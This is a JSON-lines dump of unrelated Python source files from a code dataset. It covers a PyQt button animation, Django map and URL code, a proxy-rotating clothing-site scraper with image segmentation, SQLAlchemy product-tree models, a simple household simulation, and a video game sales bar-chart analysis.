createGeometryState(\n button5, QtCore.QRect(0, 0, 50, 50),\n button6, QtCore.QRect(0, 50, 50, 50),\n button1, QtCore.QRect(0, 100, 50, 50),\n button2, QtCore.QRect(0, 150, 50, 50),\n button3, QtCore.QRect(0, 200, 50, 50),\n button4, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n state6 = createGeometryState(\n button6, QtCore.QRect(0, 0, 50, 50),\n button1, QtCore.QRect(0, 50, 50, 50),\n button2, QtCore.QRect(0, 100, 50, 50),\n button3, QtCore.QRect(0, 150, 50, 50),\n button4, QtCore.QRect(0, 200, 50, 50),\n button5, QtCore.QRect(0, 250, 50, 50),\n group\n )\n\n animationGroup = QtCore.QParallelAnimationGroup()\n\n anim = QtCore.QPropertyAnimation(button6, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n anim = QtCore.QPropertyAnimation(button5, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n anim = QtCore.QPropertyAnimation(button4, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n anim = QtCore.QPropertyAnimation(button3, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n anim = QtCore.QPropertyAnimation(button2, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n anim = QtCore.QPropertyAnimation(button1, 'geometry')\n anim.setDuration(1111)\n anim.setEasingCurve(QtCore.QEasingCurve.OutElastic)\n animationGroup.addAnimation(anim)\n\n machine = QtCore.QStateMachine()\n\n stateSwitcher = StateSwitcher(machine)\n stateSwitcher.addState(state1, animationGroup)\n stateSwitcher.addState(state2, animationGroup)\n stateSwitcher.addState(state3, animationGroup)\n stateSwitcher.addState(state4, animationGroup)\n stateSwitcher.addState(state5, animationGroup)\n stateSwitcher.addState(state6, animationGroup)\n\n group.addTransition(timer.timeout, stateSwitcher)\n group.setInitialState(state1)\n\n machine.addState(group)\n machine.setInitialState(group)\n machine.start()\n\n view = QtGui.QGraphicsView(scene)\n view.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignTop)\n view.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n view.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)\n view.setFixedSize(50, 150)\n\n window = QtGui.QWidget()\n\n pushButtonStart = QtGui.QPushButton(window)\n pushButtonStart.setText(\"Start\")\n pushButtonStart.clicked.connect(on_pushButtonStart_clicked)\n\n layoutVertical = QtGui.QVBoxLayout(window)\n layoutVertical.addWidget(view)\n layoutVertical.addWidget(pushButtonStart)\n\n window.show()\n window.resize(333, 150)\n\n sys.exit(app.exec_())\n","sub_path":"INTERFACE/animation.py","file_name":"animation.py","file_ext":"py","file_size_in_byte":7646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"509589008","text":"# -*- coding: utf-8 -*-\n\nimport json\n\nfrom .models import AvailableMaps\n\ndef build_map_from_json(filename, json_file, map_name, commit=False):\n json_map = json.load(json_file)\n layer = json_map['layers'][0]\n future_map = AvailableMaps(name=map_name)\n future_map.width = json_map['width']\n future_map.height = json_map['height']\n future_map.tile_size = json_map['tileheight']\n future_map.map_file = filename\n future_map.sprite_file = layer['properties']['tiles']\n if \"author\" in json_map['properties']:\n future_map.author = json_map['properties']['author']\n future_map.data = layer['data']\n if commit:\n future_map.save()\n return future_map\n\n\ndef import_map(filename, map_name, commit=False, file_format=\"json\"):\n json_file = open(filename)\n return build_map_from_json(filename, json_file, map_name, commit)\n\n\n","sub_path":"maingame/maps_utils.py","file_name":"maps_utils.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"75792781","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nadmin.autodiscover()\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^basicview/', include('book.urls')),\n url(r'^auth/', include ('loginsys.urls')),\n\turl(r'^', include('book.urls')),\n)\n","sub_path":"changeyourbook/changeyourbook/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"147297845","text":"from gevent import monkey as curious_george\ncurious_george.patch_all(thread=False, select=False)\n# import face_recognition\nimport json\nimport uuid\nimport os\nimport aiohttp\nimport asyncio\nfrom bs4 import BeautifulSoup\nimport random\nimport re\nimport grequests\nimport requests\nimport io\nimport base64\nimport cv2\nimport numpy as np\nfrom api import image_manager, segmentator\n\n\nproxies = set()\n\nhref_pool = set()\nitems_href_pool = set()\nvisited_href = set()\nitems_visited_href = set()\n\nsite = 'https://www.ennergiia.com/'\n\n\nPORT_REGEX = r'>([1-5]?[0-9]{2,4}|6[1-4][0-9]{3}|65[1-4][0-9]{2}|655[1-2][0-9]|6553[1-5])<'\nIP_REGEX = r'>(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)<'\nIP_PORT_REGEX = r'(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9]'\n\n\nasync def fill_proxy_list(site):\n async with aiohttp.ClientSession() as session:\n async with session.get(site) as resp:\n page = await resp.text()\n proxies.update(re.findall(IP_PORT_REGEX, page))\n proxies.update(ip+':'+port for ip, port in zip(\n ['.'.join(ip) for ip in re.findall(IP_REGEX, page)], re.findall(PORT_REGEX, page)))\n\n\nasync def checkproxy(proxy: str):\n async with aiohttp.ClientSession() as session:\n try:\n resp = await session.get(\"https://google.com\", proxy=proxy if \"http://\" in proxy else \"http://\"+proxy, timeout=0)\n resp.close()\n except:\n proxies.remove(proxy)\n\n\ndef fill_proxies(fill_proxy=False):\n if fill_proxy:\n with open(\"proxies.txt\", \"r\") as f:\n tasks = []\n loop = asyncio.get_event_loop()\n for site in f:\n tasks.append(loop.create_task(fill_proxy_list(site)))\n loop.run_until_complete(asyncio.wait(tasks))\n loop.close()\n with open('file.txt', 'r') as f:\n proxies.update(f.read().split('\\n'))\n proxies_list = {\n proxy if \"http://\" in proxy else \"http://\"+proxy for proxy in proxies}\n proxies.clear()\n proxies.update(proxies_list)\n responses = grequests.map([grequests.get(\n \"http://165.22.95.38/\", proxies={'http': proxy}, timeout=5) for proxy in proxies])\n for response, proxy in zip(responses, list(proxies)):\n try:\n if response is None:\n proxies.remove(proxy)\n except:\n proxies.remove(proxy)\n print(proxies)\n\n\ndef face_detect_from_bytes(bytesIOobject):\n face_cascades = [cv2.CascadeClassifier(os.path.join(\n 'models', model_name)) for model_name in os.listdir('models')]\n nparr = np.fromstring(bytesIOobject.read(), np.uint8)\n bytesIOobject.seek(0)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces_from_all_models = [face_cascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE\n ) for face_cascade in face_cascades]\n return len(list(filter(lambda fc: len(fc) != 0, faces_from_all_models))) > 1\n\ndef detect_clothes(bytesIOobject):\n file_name = f'{uuid.uuid4()}.jpg'\n with open(file_name, 'wb') as f:\n f.write(bytesIOobject.read())\n cropped_and_full_images = segmentator.get_files(\n image_path=file_name,\n cropped_images_dir='images',\n mode='mask'\n )\n os.remove(file_name)\n if cropped_and_full_images:\n return [img for img in[image if 'full' not in image else os.remove(image) for image in cropped_and_full_images] if img is not None]\n return []\n\n# def face_detect_from_bytes2(bytesIOobject):\n# nparr = np.fromstring(bytesIOobject.read(), np.uint8)\n# img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n# face_locations = face_recognition.face_locations(img)\n# return len(face_locations)\n\n\nshoes = {'кроссовки',\n \"ботинки\",\n 'кеды',\n 'тапочки',\n 'сланцы',\n 'sneakers', }\n\ntop = {'свитер',\n 'толстовка',\n 'олимпийка',\n 'рубашка',\n 'лонгслив',\n 'поло',\n 'футболка',\n 'куртка',\n 'парка',\n 'бомбер',\n 'пуховик',\n 'анорак',\n 'ветровка',\n 'аляска',\n 'пальто',\n 'пиджак',\n 'плащ',\n 'жилет',\n 'платье',\n 'джемпер',\n 'майка',\n 'кардиган',\n 'болеро',\n 'водолазка',\n 'пуловер',\n 'футболка-поло',\n 'блузка', }\n\nbottom = {'джинсы',\n 'брюки',\n 'шорты',\n 'шорты-плавки',\n 'леггинсы'}\n\n\ndef check_sex(text: str):\n text = text.lower()\n if 'муж' in text:\n return 'male'\n elif 'жен' in text:\n return 'female'\n elif 'дет' in text or 'мал' in text or 'дев' in text:\n return 'child'\n elif 'подрост' in text:\n return 'teenager'\n else:\n return 'undefined'\n\n\ndef check_type(text: str):\n text = text.lower()\n words = text.split()\n for word in words:\n if word in top:\n return 'top'\n elif word in bottom:\n return 'bottom'\n elif word in shoes:\n return 'shoes'\n return None\n\n\ndef picture_download(pic_linc: list):\n requests_list = [grequests.get(\n link, proxies={'http': random.sample(proxies, 1)[0]}) for link in pic_linc]\n responses = grequests.map(requests_list)\n try:\n encoded = [io.BytesIO(response.content) for response in responses if response is not None and response.status_code == 200]\n return encoded\n except:\n return []\n\n\ndef add_catalogues(response):\n href_pool = []\n if response is not None:\n soup = BeautifulSoup(response.text, 'html.parser')\n dicted_json = json.loads(soup.find('div', {'id': \"data\", 'role': \"presentation\"}).text.replace(\n 'window.__PRELOADED_STATE__=', ''))\n full_menu = dicted_json.get('menuStore').get('menuCategories')\n if full_menu:\n for menu_item in full_menu:\n href_pool.append(\n (site+'/catalog/'+menu_item.get('uri')).replace('//', '/').replace(':/', '://'))\n return href_pool\n\n\ndef add_items(response):\n if response is not None and response.status_code == 200:\n batch = []\n soup = BeautifulSoup(response.text, 'html.parser')\n dicted_json = json.loads(soup.find('div', {'id': \"data\", 'role': \"presentation\"}).text.replace(\n 'window.__PRELOADED_STATE__=', ''))\n items = dicted_json.get('productListStore').get('list')\n if len(items) == 0:\n with open('rejected_urls.txt', 'a') as f:\n f.write(str(response.url)+'\\n')\n for item in items:\n product_info = {\"image\": None, 'цена': None,\n 'пол': None, 'цвет': None, 'бренд': None, 'link': None, 'type': None}\n product_info['type'] = check_type(item.get('productName'))\n if product_info['type'] and product_info['type'] != 'shoes':\n product_info['link'] = site + 'products/' + item.get('slug')\n for prop in item.get('listingProperties'):\n prop_name = prop.get(\"name\").lower()\n if prop_name in product_info.keys():\n product_info[prop_name] = prop.get('value')\n prices = item.get('prices')\n product_info['цена'] = min([prices[0].get(value) for value in [\n 'price', 'personalPrice', 'promoPrice'] if prices[0].get(value) is not None])\n image_props = item.get('images')\n image_numbers = image_props.get('sort')\n pictures = picture_download([\n '%s/%s/%s/%s/%s.jpg' % (*[image_props.get(value) for value in [\n 'baseUrl', 'client', 'imageGroupId']], im_num, image_props.get('sizes').get('big')) for im_num in image_numbers])\n for picture in pictures:\n if picture.read():\n picture.seek(0)\n clothes_paths = detect_clothes(picture)\n if len(clothes_paths) != 0:\n for clothes_path in clothes_paths:\n if clothes_path:\n product_info['image'] = open(clothes_path, 'rb')\n image_manager.upload_image_bytes(product_info) \n os.remove(clothes_path)\n break\n \n\n\ndef run(site: str, get_proxies: bool = False):\n fill_proxies(get_proxies)\n links_list = add_catalogues(requests.get(site))\n for link in links_list:\n add_items(requests.get(link, proxies={'http': random.sample(proxies, 1)[0]}))\n while True:\n try:\n links_list = []\n with open('rejected_urls.txt', 'r') as f:\n links_list = [line.replace('\\n', '') for line in f.readlines()]\n os.remove('rejected_urls.txt')\n for link in links_list:\n add_items(requests.get(link, proxies={'http': random.sample(proxies, 1)[0]}))\n except FileNotFoundError:\n break\n\nif __name__ == '__main__':\n run(site=site, get_proxies=True)\n","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":9663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"96646688","text":"# coding: utf-8\n\nfrom models.industry import ProductMixin\nfrom models.industry import ProductRelationMixin\nfrom models.industry import AttrMixin\nfrom models.industry import FuncRelationMixin\nfrom models.industry import ProductTreeMixin\nfrom models.industry import AttrOtherMixin\n\nfrom .. import db\nfrom ..base import Tool, Check\nfrom sqlalchemy import func\n\nimport json\n\n\nclass Product(ProductMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(Product, self).__init__(*args, **kwargs)\n\n\nclass ProductRelation(ProductRelationMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(ProductRelation, self).__init__(*args, **kwargs)\n\n @classmethod\n def set_base_relation(cls, data):\n d = {\n 'name': data.get('name'),\n 'parent_id': data.get('parent_id'),\n 'product_id': data.get('product_id'),\n }\n r = cls(**d)\n db.session.add(r)\n return\n\n @property\n def name_number_set(self):\n raise AttributeError('no getter name_number_set')\n\n @name_number_set.setter\n def name_number_set(self, parent_name_number=None):\n if not self.level or self.level not in [1, 2, 3]:\n return\n if self.level == 1:\n self.name_number = '{}'.format(self.number)\n return\n\n if not parent_name_number:\n raise ValueError('no parent_name_number!!')\n\n if self.level == 2:\n self.name_number = '{}.{}'.format(parent_name_number, self.number)\n if self.level == 3:\n self.name_number = '{}.{}'.format(parent_name_number, self.number)\n return\n\n @classmethod\n def update_name_number(cls):\n level1 = cls.query.filter(cls.level == 1).all()\n if not level1:\n return\n\n for le in level1:\n le.name_number_set = None\n db.session.add(le)\n\n level2 = cls.query.filter(cls.level != 1, cls.level != 0).all()\n if not level2:\n return\n for lv2 in level2:\n parent = cls.query.get_or_404(lv2.parent_id)\n lv2.name_number_set = parent.name_number\n db.session.add(lv2)\n return\n\n @classmethod\n def add_product_relation(cls, data, content, product_id):\n level = data['level']\n print(level)\n len_level = cls.query.filter(cls.level == int(level), cls.product_id == product_id).order_by(\n cls.relation_order.desc(), cls.id.desc()).first()\n start_index = len_level.number + 1 if len_level else 1\n\n result = []\n for index, con in enumerate(content.split('\\r\\n'), start=start_index):\n if con:\n data['name'] = con\n data['number'] = index\n data['relation_order'] = index\n result.append(cls(**data))\n db.session.add_all(result)\n db.session.flush()\n result = [v.id for v in result]\n db.session.commit()\n\n cls.update_name_number()\n db.session.commit()\n return result\n\n\nclass Attr(AttrMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(Attr, self).__init__(*args, **kwargs)\n\n @classmethod\n def edit(cls, form_data, attr):\n Check.update_model(attr, form_data)\n db.session.add(attr)\n return\n\n @classmethod\n def create_edit_extra(cls, form_data, attr):\n if not attr:\n attr = cls(**form_data)\n db.session.add(attr)\n return\n\n Check.update_model(attr, form_data)\n db.session.add(attr)\n return\n\n @classmethod\n def init_attr(cls):\n tree_one = [{\"field\": \"company_name\", \"field_zh\": \"公司名称\"}, {\"field\": \"position\", \"field_zh\": \"工程位置\"},\n {\"field\": \"version\", \"field_zh\": \"型号/平台\"}, {\"field\": \"project\", \"field_zh\": \"项目\"},\n {\"field\": \"start_time\", \"field_zh\": \"PF开始时间\"}, {\"field\": \"end_time\", \"field_zh\": \"PF结束时间\"},\n {\"field\": \"team\", \"field_zh\": \"跨功能团队\"}, {\"field\": \"user\", \"field_zh\": \"设计责任\"},\n {\"field\": \"secrecy_level\", \"field_zh\": \"保密级别\"}]\n\n tree_other = [{\"field\": \"name\", \"field_zh\": \"名称\"}, {\"field\": \"spec_num\", \"field_zh\": \"规格数量\"},\n {\"field\": \"spec_tole\", \"field_zh\": \"规格公差\"}, {\"field\": \"spec_company\", \"field_zh\": \"规格单位\"},\n {\"field\": \"detection_device\", \"field_zh\": \"检测装置\"},\n {\"field\": \"detection_capacity\", \"field_zh\": \"检测容量\"},\n {\"field\": \"control_method\", \"field_zh\": \"控制方法\"}, {\"field\": \"reaction_plan\", \"field_zh\": \"反应计划\"},\n {\"field\": \"type\", \"field_zh\": \"分类\"}, {\"field\": \"desciption\", \"field_zh\": \"备注\"},\n {\"field\": \"helper\", \"field_zh\": \"帮助\"}]\n\n r = [\n {'name': '结构树节点-0', 'level': 0, 'type': 'structure', 'content': json.dumps(tree_one)},\n {'name': '结构树节点-1', 'level': 1, 'type': 'structure', 'content': json.dumps(tree_other)},\n {'name': '结构树节点-2', 'level': 2, 'type': 'structure', 'content': json.dumps(tree_other)},\n {'name': '结构树节点-3', 'level': 3, 'type': 'structure', 'content': json.dumps(tree_other)},\n {'name': '���能树节点', 'level': None, 'type': 'func', 'content': json.dumps(tree_other)},\n {'name': '失效树节点', 'level': None, 'type': 'failure', 'content': json.dumps(tree_other)},\n ]\n attr = Attr.query.all()\n if attr:\n return\n result = []\n for info in r:\n new_attr = cls(**info)\n result.append(new_attr)\n db.session.add_all(result)\n db.session.commit()\n return\n\n\nclass AttrOther(AttrOtherMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(AttrOther, self).__init__(*args, **kwargs)\n\n @classmethod\n def init_attr_action(cls):\n tree = [\n {\"field\": \"S\", \"field_zh\": \"S评估\"},\n {\"field\": \"O\", \"field_zh\": \"O评估\"},\n {\"field\": \"D\", \"field_zh\": \"D评估\"},\n {\"field\": \"name\", \"field_zh\": \"名称\"},\n {\"field\": \"occur_assess\", \"field_zh\": \"发生度评估\"},\n {\"field\": \"priority\", \"field_zh\": \"AP行动优先级\"},\n {\"field\": \"description\", \"field_zh\": \"备注\"},\n {\"field\": \"helper\", \"field_zh\": \"帮助\"},\n ]\n\n r = [\n {'name': '优化方法', 'content': json.dumps(tree)}\n ]\n attr_action = AttrOther.query.all()\n if attr_action:\n return\n result = []\n for info in r:\n new_attr = cls(**info)\n result.append(new_attr)\n db.session.add_all(result)\n db.session.commit()\n return\n\n\nclass FuncRelation(FuncRelationMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(FuncRelation, self).__init__(*args, **kwargs)\n\n @staticmethod\n def update_func_name_number(parent_id, number):\n parduct_relation = ProductRelation.query.filter_by(id=parent_id).first()\n if not parduct_relation:\n func_relation = FuncRelation.query.filter(FuncRelation.product_id == FuncRelation.product_relation_id).all()\n return '%s-FU%d' % (0, len(func_relation) + 1)\n\n return '%s-FU%d' % (parduct_relation.name_number, number)\n\n @classmethod\n def update_failure_name_number(cls, parent_id, number):\n func_relation = cls.query.get_or_404(parent_id)\n if not func_relation:\n return\n\n return '%s-FA%d' % (func_relation.name_number, number)\n\n @classmethod\n def start_index(cls, type, product_relation_id, parent_id=None):\n base_model = db.session.query(func.count(cls.id).label('num'))\n if type == 'func':\n info = base_model.filter_by(product_relation_id=product_relation_id, parent_id=None).group_by(\n cls.product_relation_id)\n else:\n info = base_model.filter_by(product_relation_id=product_relation_id, parent_id=parent_id).group_by(\n cls.product_relation_id, cls.parent_id)\n\n info = info.first()\n return info.num + 1 if info else 1\n\n @classmethod\n def add_func_relation(cls, data, content, tree_type):\n if tree_type == 'func':\n del data['parent_id']\n\n content = content.split('\\r\\n')\n result = []\n for index, con in enumerate(content, start=cls.start_index(tree_type, data['product_relation_id'],\n data.get('parent_id'))):\n if con:\n data['name'] = con\n data['number'] = index\n data['type'] = tree_type\n if tree_type == 'func':\n data['name_number'] = cls.update_func_name_number(data['product_relation_id'], index)\n else:\n data['name_number'] = cls.update_failure_name_number(data['parent_id'], index)\n\n result.append(cls(**data))\n db.session.add_all(result)\n db.session.flush()\n result = [v.id for v in result]\n\n db.session.commit()\n return result\n\n\nclass ProductTree(ProductTreeMixin, db.Model):\n def __init__(self, *args, **kwargs):\n super(ProductTree, self).__init__(*args, **kwargs)\n","sub_path":"console/app/main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"644554412","text":"import random\n\nfrom termcolor import cprint\n\n\nclass Man:\n\n def __init__(self, name):\n self.name = name\n self.fullness = 20\n self.house = None\n\n def __str__(self):\n return 'I\\'m {}, fulness {}'.format(self.name, self.fullness)\n\n def eat(self):\n if self.house.food >= 10:\n cprint('{} ate'.format(self.name), color='green')\n self.fullness += 10\n self.house.food -= 20\n else:\n cprint('{} no food'.format(self.name), color='red')\n self.shopping()\n\n def work(self):\n cprint('{} worked'.format(self.name), color='cyan')\n self.house.money += 30\n self.fullness -= 10\n\n def watch_MTV(self):\n cprint('{} watched MTV all day long'.format(self.name), color='blue')\n self.fullness -= 10\n\n def shopping(self):\n if self.house.money >= 50:\n cprint('{} went to shop'.format(self.name), color='magenta')\n self.house.money -= 50\n self.house.food += 50\n else:\n cprint('{} money ran out!'.format(self.name), color='red')\n self.work()\n\n def go_into_the_house(self, house):\n self.house = house\n self.money = 50\n self.fullness -= 10\n cprint('{} moved in home'.format(self.name), color='cyan')\n\n def act(self):\n if self.fullness <= 0:\n cprint('{} died...'.format(self.name), color='red')\n return\n dice = random.randint(1, 6)\n if self.fullness < 20:\n self.eat()\n elif self.house.money < 50:\n self.work()\n elif self.house.food < 10:\n self.shopping()\n elif dice == 1:\n self.work()\n elif dice == 2:\n self.eat()\n else:\n self.watch_MTV()\n\nclass House:\n\n def __init__(self):\n self.food = 50\n self.money = 50\n\n def __str__(self):\n return 'There are in the house: food {}, money {}'.format(self.food, self.money)\n\ncitizens = [\n Man(name='Beavis'),\n Man(name='Butthead'),\n Man(name='Kenny')\n]\n\nmy_sweat_home = House()\nfor citizen in citizens:\n citizen.go_into_the_house(house=my_sweat_home)\n\nfor day in range(1, 21):\n print()\n cprint('====================== DAY {} ======================'.format(day), color='yellow')\n for citizen in citizens:\n citizen.act()\n print('-------------------- RESULT --------------------')\n for citizen in citizens:\n print(citizen)\n print(my_sweat_home)\n\n\n","sub_path":"Data Science/2. Data Scientist. Аналитика. Начальный уровень/7. Основы Python - классы и объекты/7.8 Practice OOP 2.py","file_name":"7.8 Practice OOP 2.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"518533368","text":"\n# coding: utf-8\n\n# # Step 1a: Identify the information in the file your program will read\n# This file is shared by the Gregory Smith on their [Open Data page](https://www.kaggle.com/gregorut/videogamesales). It contains information about a list of video games with sales greater than 100,000 copies.\n# \n# Each row represents one market with its:\n# \n# - rank\n# - name\n# - platform\n# - year\n# - genre\n# - publisher\n# - NA_sales\n# - EU_sales\n# - JP_sales\n# - other_sales\n# - global_sales\n# \n# \n# ### Step 1b: Write a description of what your program will produce\n# Ideas for what program might produce:\n# 1. a list of all the sports games\n# 2. a list of all the games that are published by Nintendo\n# 3. the number of games that are published by Nintendo\n# 4. total NA sales of all games\n# 5. line graph of total Nintendo games sold in NA, EU, JP and Other regions\n# \n# ### Step 1c: Write or draw examples of what your program will produce\n# \n# ```python\n# # 1\n# expect(main('Global Video Game Sales in Millions.csv'), \n# ['Wii Sports',\n# 'Wii Fit',\n# 'FIFA 16',\n# 'FIFA 14'])\n# # 2\n# expect(main('Global Video Game Sales in Millions.csv'),\n# ['Wii Sports',\n# 'Tetris',\n# 'Super Mario Bros.',\n# 'Super Mario Land'])\n# # 3\n# expect(main('Global Video Game Sales in Millions.csv'), 350)\n# # 4\n# expect(main('Global Video Game Sales in Millions.csv'), 105.15)\n# # 5\n# expect(main('Global Video Game Sales in Millions.csv'), )\n# ```\n# \n\n# ### Step 2a - Design data definitions\n# \n# From the information available, the information we need to solve the problem are:\n# name,\n# genre,\n# publisher,\n# na_sales,\n# eu_sales,\n# jp_sales. \n# So, that's all we'll store in our data definition. We'll call our games type `Game`.\n\n# In[119]:\n\n\n# Analysis Program Template\nfrom cs103 import *\nfrom typing import NamedTuple, List\nimport matplotlib.pyplot as pyplot\nimport numpy as np\nimport csv\n\n\n##################\n# Data Definitions\n\nGame = NamedTuple('Game', [('name', str),\n ('genre', str),\n ('publisher', str),\n ('na', float),\n ('eu', float),\n ('jp', float)])\n# interp. information about a game with its rank ('rank') in terms of sale,\n# name ('name'), publisher ('publisher'), \n# copies sold in North America ('na'), Europe ('eu'), Japan ('jp'), \n# other regions ('other').\n\n# these are crucial information because \n\nG1 = Game('Wii Sports', 'Sports', 'Nintendo', 41.49, 29.02, 3.77)\nG2 = Game('Super Mario Bros.', 'Platform', 'Nintendo', 29.08, 3.58, 6.81)\nG3 = Game('Mario Kart Wii', 'Racing', 'Nintendo', 15.85, 12.88, 3.79)\n# G4 = Game('Kinect Adventures!', 'Misc', 'Microsoft Game Studios', 14.97, 4.94, 0.24)\n# G5 = Game('Grand Theft Auto V', 'Action', 'Take-Two Interactive', 7.01, 9.27, 0.97)\n# template based on compound\ndef fn_for_game(g: Game) -> ...:\n return ...(g.name,\n g.genre,\n g.publisher,\n g.na,\n g.eu,\n g.jp)\n\n# List[Game]\n# interp. a list of games\n\nLOG0 = []\nLOG1 = [G1, G2, G3]\n\n# template based on arbitrary-sized and the reference rule\ndef fn_for_log(log: List[Game]) -> ...:\n # description of the acc\n acc = ... # type: List[Game]\n for g in log:\n ...(acc, fn_for_game(g))\n\n return ...(acc)\n\n\n# In[120]:\n\n\n###########\n# Functions\n\n\n# ------- helper functions --------\n@typecheck\ndef is_nintendo(log: List[Game]) -> List[Game]:\n \"\"\"\n returns a list containing only Nintendo games\n \"\"\"\n lon = [] # type: List[Game]\n for game in log:\n if game.publisher == 'Nintendo':\n lon.append(game)\n return lon\n\n@typecheck\ndef na_sum(lon: List[Game]) -> float:\n \"\"\"\n returns the sum of north america sales\n \"\"\"\n # return 0 # body of the stub\n na_sum = 0\n for game in lon:\n na_sum += game.na\n return na_sum\n \n@typecheck\ndef eu_sum(lon: List[Game]) -> float:\n \"\"\"\n returns the sum of europe sales\n \"\"\"\n # return 0 # body of the stub\n eu_sum = 0\n for game in lon:\n eu_sum += game.eu\n return eu_sum\n\n@typecheck\ndef jp_sum(lon: List[Game]) -> float:\n \"\"\"\n returns the sum of europe sales\n \"\"\"\n # return 0 # body of the stub\n jp_sum = 0\n for game in lon:\n jp_sum += game.jp\n return jp_sum\n# ------- end of helper functions --------\n\n# -------- main analysis functions -------\ndef analyze(log: List[Game]) -> None:\n \"\"\"\n display a bar graph showing the North America, Europe, and Japan slaes of Nintendo game \n \"\"\"\n nintendo_game = is_nintendo(log) # type List[Game]\n na = na_sum(nintendo_game) # type float\n eu = eu_sum(nintendo_game) # type float\n jp = jp_sum(nintendo_game) # type float\n los = [na, eu, jp]\n objects = ['NA', 'EU', 'JP']\n y_pos = np.arange(len(objects))\n \n pyplot.bar(y_pos, los, align='center', alpha=0.5)\n pyplot.xticks(y_pos, objects)\n pyplot.ylabel('sales')\n pyplot.title('Nintendo Game Sales in Different Regions')\n pyplot.show()\n\ndef read(filename: str) -> List[Game]:\n \"\"\" \n reads the information in the file and returns a list of the Games\n \"\"\"\n # return []\n # template from HtDAP\n # log contains the result so far\n log = [] # type: List[Game]\n\n with open(filename) as csvfile:\n\n reader = csv.reader(csvfile)\n next(reader) # skip header line\n\n for row in reader:\n g = Game(row[1], row[4], row[5], float(row[6]), float(row[7]), float(row[8]))\n \n log.append(g)\n\n return log\n\ndef main(filename: str) -> ...:\n \"\"\"\n Reads the file from given filename, analyzes the data,\n returns the result\n \"\"\"\n # template based on function composition\n return analyze(read(filename))\n\nmain('global-video-game-sales-in-millions.csv')\n# -------- end of main analysis functions -----\n\n\n# Begin testing\nstart_testing()\n# Examples and tests for main\nexpect(..., ...)\n# Examples and tests for read\nexpect(read('GlobalVideoGameSales_test1.csv'), [G1])\nexpect(read('GlobalVideoGameSales_test2.csv'), [G2, G3])\n\n# Examples and tests for is_nintendo\nexpect(is_nintendo(read('GlobalVideoGameSales_test2.csv')), [G2, G3])\n# Examples and tests for na_sum\nexpect(na_sum(is_nintendo(read('GlobalVideoGameSales_test2.csv'))), 44.93)\n\n# Examples and tests for eu_sum\nexpect(eu_sum(is_nintendo(read('GlobalVideoGameSales_test2.csv'))), 16.46)\n# Examples and tests for jp_sum\nexpect(jp_sum(is_nintendo(read('GlobalVideoGameSales_test2.csv'))), 10.6)\n# show testing summary\n# Examples and tests for analyze\n# expect(analyze(read('Workbook1.csv')), ...)\nsummary()\n\n","sub_path":"jianyuan_chen_final_project.py","file_name":"jianyuan_chen_final_project.py","file_ext":"py","file_size_in_byte":6719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"10851747","text":"\"\"\"\nModule with functions for reading content from disk in common formats.\n\"\"\"\nimport bz2\nfrom functools import partial\nimport gzip\nimport io\nimport json\nimport os\n\nimport ijson\nfrom spacy.tokens.doc import Doc as SpacyDoc\n\n\nJSON_DECODER = json.JSONDecoder()\n\n\ndef read_json(filename, mode='rt', encoding=None, prefix=''):\n \"\"\"\n Iterate over JSON objects matching the field given by ``prefix``.\n Useful for reading a large JSON array one item (with ``prefix='item'``)\n or sub-item (``prefix='item.fieldname'``) at a time.\n\n Args:\n filename (str): /path/to/file on disk from which json items will be streamed,\n such as items in a JSON array; for example::\n\n [\n {\"title\": \"Harrison Bergeron\", \"text\": \"The year was 2081, and everybody was finally equal.\"},\n {\"title\": \"2BR02B\", \"text\": \"Everything was perfectly 